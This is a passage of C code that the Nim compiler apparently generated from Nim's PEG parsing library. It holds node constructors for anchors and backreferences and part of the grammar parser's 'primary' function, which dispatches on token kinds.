case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12);
(*Result).ch = t;
}
static N_INLINE(void, endAnchor__vJ7L9clGomKkGyXSc8Lc5TQ_9pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T1_;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
nimZeroMem((void*)(&T1_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
any__vJ7L9clGomKkGyXSc8Lc5TQpegs((&T1_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
npegsNotPredicate(T1_, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}BeforeRet_: ;
}
static N_INLINE(void, startAnchor__vJ7L9clGomKkGyXSc8Lc5TQ_10pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 32);
}
N_LIB_PRIVATE N_NIMCALL(void, npegsbackref)(NI index, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25);
(*Result).index = ((NI) ((NI)(((NI) (index)) - ((NI) 1))));
}
N_LIB_PRIVATE N_NIMCALL(void, npegsbackrefIgnoreCase)(NI index, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 26);
(*Result).index = ((NI) ((NI)(((NI) (index)) - ((NI) 1))));
}
N_LIB_PRIVATE N_NIMCALL(void, npegsbackrefIgnoreStyle)(NI index, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27);
(*Result).index = ((NI) ((NI)(((NI) (index)) - ((NI) 1))));
}
N_LIB_PRIVATE N_NIMCALL(void, modifiedBackref__lP6hszPxu8STBkt8ALHfmw)(NI s, tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA m, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
switch (m) {
case ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 0):
case ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 1):
{
npegsbackref(((NI) (s)), Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 2):
{
npegsbackrefIgnoreCase(((NI) (s)), Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 3):
{
npegsbackrefIgnoreStyle(((NI) (s)), Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
}
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, npegsGreedyPosRep)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
tyArray__rS9bk8uu9axETY9bOxp2l1GHQ T1_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T2_;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
nimZeroMem((void*)T1_, sizeof(tyArray__rS9bk8uu9axETY9bOxp2l1GHQ));
nimCopyMem((void*)(&T1_[0]), (NIM_CONST void*)(&a), sizeof(T1_[0]));
npegsGreedyRep(a, (&T1_[1]));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T2_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegssequence(T1_, 2, (&T2_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T2_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
goto BeforeRet_;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, primary__MaL2q9aiyWZXRK0fbgHwGWA_2)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
switch ((*p).tok.kind) {
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 16):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T2_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T2_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
primary__MaL2q9aiyWZXRK0fbgHwGWA_2(p, (&T2_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
npegsAndPredicate(T2_, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 17):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T4_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T4_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
primary__MaL2q9aiyWZXRK0fbgHwGWA_2(p, (&T4_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
npegsNotPredicate(T4_, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 19):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T6_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T6_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
primary__MaL2q9aiyWZXRK0fbgHwGWA_2(p, (&T6_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
npegsSearch(T6_, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 11):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T8_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T9_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T10_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T8_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
primary__MaL2q9aiyWZXRK0fbgHwGWA_2(p, (&T8_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T9_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
token__yNO39bt9aZu9aox0jITQ9cJ8aw(T8_, (&(*p)), (&T9_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T10_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npgegsCapturedSearch(T9_, (&T10_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T10_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
goto BeforeRet_;
}
break;
default:
{
}
break;
}
switch ((*p).tok.kind) {
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 4):
{
{
tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA m;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T21_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T22_;
if (!(*p).identIsVerbatim) goto LA15_;
m = (*p).tok.modifier;
{
if (!(m == ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 0))) goto LA19_;
m = (*p).modifier;
}
LA19_: ;
nimZeroMem((void*)(&T21_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
modifiedTerm__PRjoiBA234MDaFoq6R9cMUw((*p).tok.literal, m, (&T21_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T22_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
token__yNO39bt9aZu9aox0jITQ9cJ8aw(T21_, (&(*p)), (&T22_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T22_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA13_;
LA15_: ;
{
NIM_BOOL T24_;
tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA* nt;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T27_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T28_;
T24_ = (NIM_BOOL)0;
T24_ = arrowIsNextTok__r1Fu3ClqdJ5GNevZsmi3CA((&(*p).Sup));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
if (!!(T24_)) goto LA25_;
nt = getNonTerminal__owz7gr9cNnue9b2MsAC72zMQ(p, (*p).tok.literal);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
(*nt).flags |= ((NU8)1)<<((((tyEnum_NonTerminalFlag__raeF9a9anryo8cnwfITE0Glw) 1)) & 7);
nimZeroMem((void*)(&T27_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegsnonterminal(nt, (&T27_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T28_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
token__yNO39bt9aZu9aox0jITQ9cJ8aw(T27_, (&(*p)), (&T28_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T28_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA13_;
LA25_: ;
{
tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg T30_;
NimStringDesc* T31_;
nimZeroMem((void*)(&T30_), sizeof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg));
T30_.Sup.m_type = (&NTI__YGbAG2ONLZxyHsgzU1OeCg_);
nimCopyMem((void*)(&T30_), (NIM_CONST void*)(&(*p)), sizeof(T30_));
T31_ = (NimStringDesc*)0;
T31_ = rawNewString(((*p).tok.literal ? (*p).tok.literal->Sup.len : 0) + 32);
appendString(T31_, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_30));
appendString(T31_, (*p).tok.literal);
pegError__BMmAapFwghEVCePgcFScUg((&T30_), T31_, ((NI) -1), ((NI) -1));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA13_: ;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 5):
{
tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA m_2;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T37_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T38_;
m_2 = (*p).tok.modifier;
{
if (!(m_2 == ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 0))) goto LA35_;
m_2 = (*p).modifier;
}
LA35_: ;
nimZeroMem((void*)(&T37_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
modifiedTerm__PRjoiBA234MDaFoq6R9cMUw((*p).tok.literal, m_2, (&T37_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T38_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
token__yNO39bt9aZu9aox0jITQ9cJ8aw(T37_, (&(*p)), (&T38_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T38_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 6):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T44_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T45_;
{
if (!(((*p).tok.charset[(NU)(((NU8)(0)))>>3] &(1U<<((NU)(((NU8)(0)))&7U)))!=0)) goto LA42_;
pegError__BMmAapFwghEVCePgcFScUg((&(*p)), ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_31), ((NI) -1), ((NI) -1));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA42_: ;
nimZeroMem((void*)(&T44_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegscharSet((*p).tok.charset, (&T44_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T45_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
token__yNO39bt9aZu9aox0jITQ9cJ8aw(T44_, (&(*p)), (&T45_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T45_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 7):
{
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
parseExpr__MaL2q9aiyWZXRK0fbgHwGWA_3(p, Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
eat__hjU4sv1ca6ZjKpV3nc6Zhg(p, ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 8));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 9):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T48_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T49_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T50_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T48_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
parseExpr__MaL2q9aiyWZXRK0fbgHwGWA_3(p, (&T48_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T49_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegsCapture(T48_, (&T49_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T50_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
token__yNO39bt9aZu9aox0jITQ9cJ8aw(T49_, (&(*p)), (&T50_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T50_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
eat__hjU4sv1ca6ZjKpV3nc6Zhg(p, ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 10));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
(*p).captures += ((NI) 1);
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 2):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T52_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T53_;
nimZeroMem((void*)(&T52_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
any__vJ7L9clGomKkGyXSc8Lc5TQpegs((&T52_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T53_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
token__yNO39bt9aZu9aox0jITQ9cJ8aw(T52_, (&(*p)), (&T53_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T53_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 3):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T55_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T56_;
nimZeroMem((void*)(&T55_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
anyRune__vJ7L9clGomKkGyXSc8Lc5TQ_2pegs((&T55_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T56_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
token__yNO39bt9aZu9aox0jITQ9cJ8aw(T55_, (&(*p)), (&T56_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T56_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 20):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T58_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T59_;
nimZeroMem((void*)(&T58_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
builtin__MaL2q9aiyWZXRK0fbgHwGWA_5(p, (&T58_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T59_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
token__yNO39bt9aZu9aox0jITQ9cJ8aw(T58_, (&(*p)), (&T59_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T59_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 21):
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T61_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T62_;
nimZeroMem((void*)(&T61_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegstermChar((*p).tok.literal->data[((NI) 0)], (&T61_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T62_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
token__yNO39bt9aZu9aox0jITQ9cJ8aw(T61_, (&(*p)), (&T62_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T62_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 23):
{
endAnchor__vJ7L9clGomKkGyXSc8Lc5TQ_9pegs(Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 24):
{
startAnchor__vJ7L9clGomKkGyXSc8Lc5TQ_10pegs(Result);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
getTok__N6UyL3NoCbQFjnydJ8RVDg(p);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 22):
{
tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA m_3;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T70_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T71_;
m_3 = (*p).tok.modifier;
{
if (!(m_3 == ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 0))) goto LA68_;
m_3 = (*p).modifier;
}
LA68_: ;
nimZeroMem((void*)(&T70_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
modifiedBackref__lP6hszPxu8STBkt8ALHfmw((*p).tok.index, m_3, (&T70_));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
nimZeroMem((void*)(&T71_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
token__yNO39bt9aZu9aox0jITQ9cJ8aw(T70_, (&(*p)), (&T71_));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T71_), sizeof((*Result)));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
NIM_BOOL T74_;
tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg T78_;
NimStringDesc* T79_;
NimStringDesc* T80_;
T74_ = (NIM_BOOL)0;
T74_ = ((*p).tok.index < ((NI) 0));
if (T74_) goto LA75_;
T74_ = ((*p).captures < (*p).tok.index);
LA75_: ;
if (!T74_) goto LA76_;
nimZeroMem((void*)(&T78_), sizeof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg));
T78_.Sup.m_type = (&NTI__YGbAG2ONLZxyHsgzU1OeCg_);
nimCopyMem((void*)(&T78_), (NIM_CONST void*)(&(*p)), sizeof(T78_));
T79_ = (NimStringDesc*)0;
T80_ = (NimStringDesc*)0;
T80_ = nimIntToStr((*p).tok.index);
T79_ = rawNewString((T80_ ? T80_->Sup.len : 0) + 30);
appendString(T79_, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_80));
appendString(T79_, T80_);
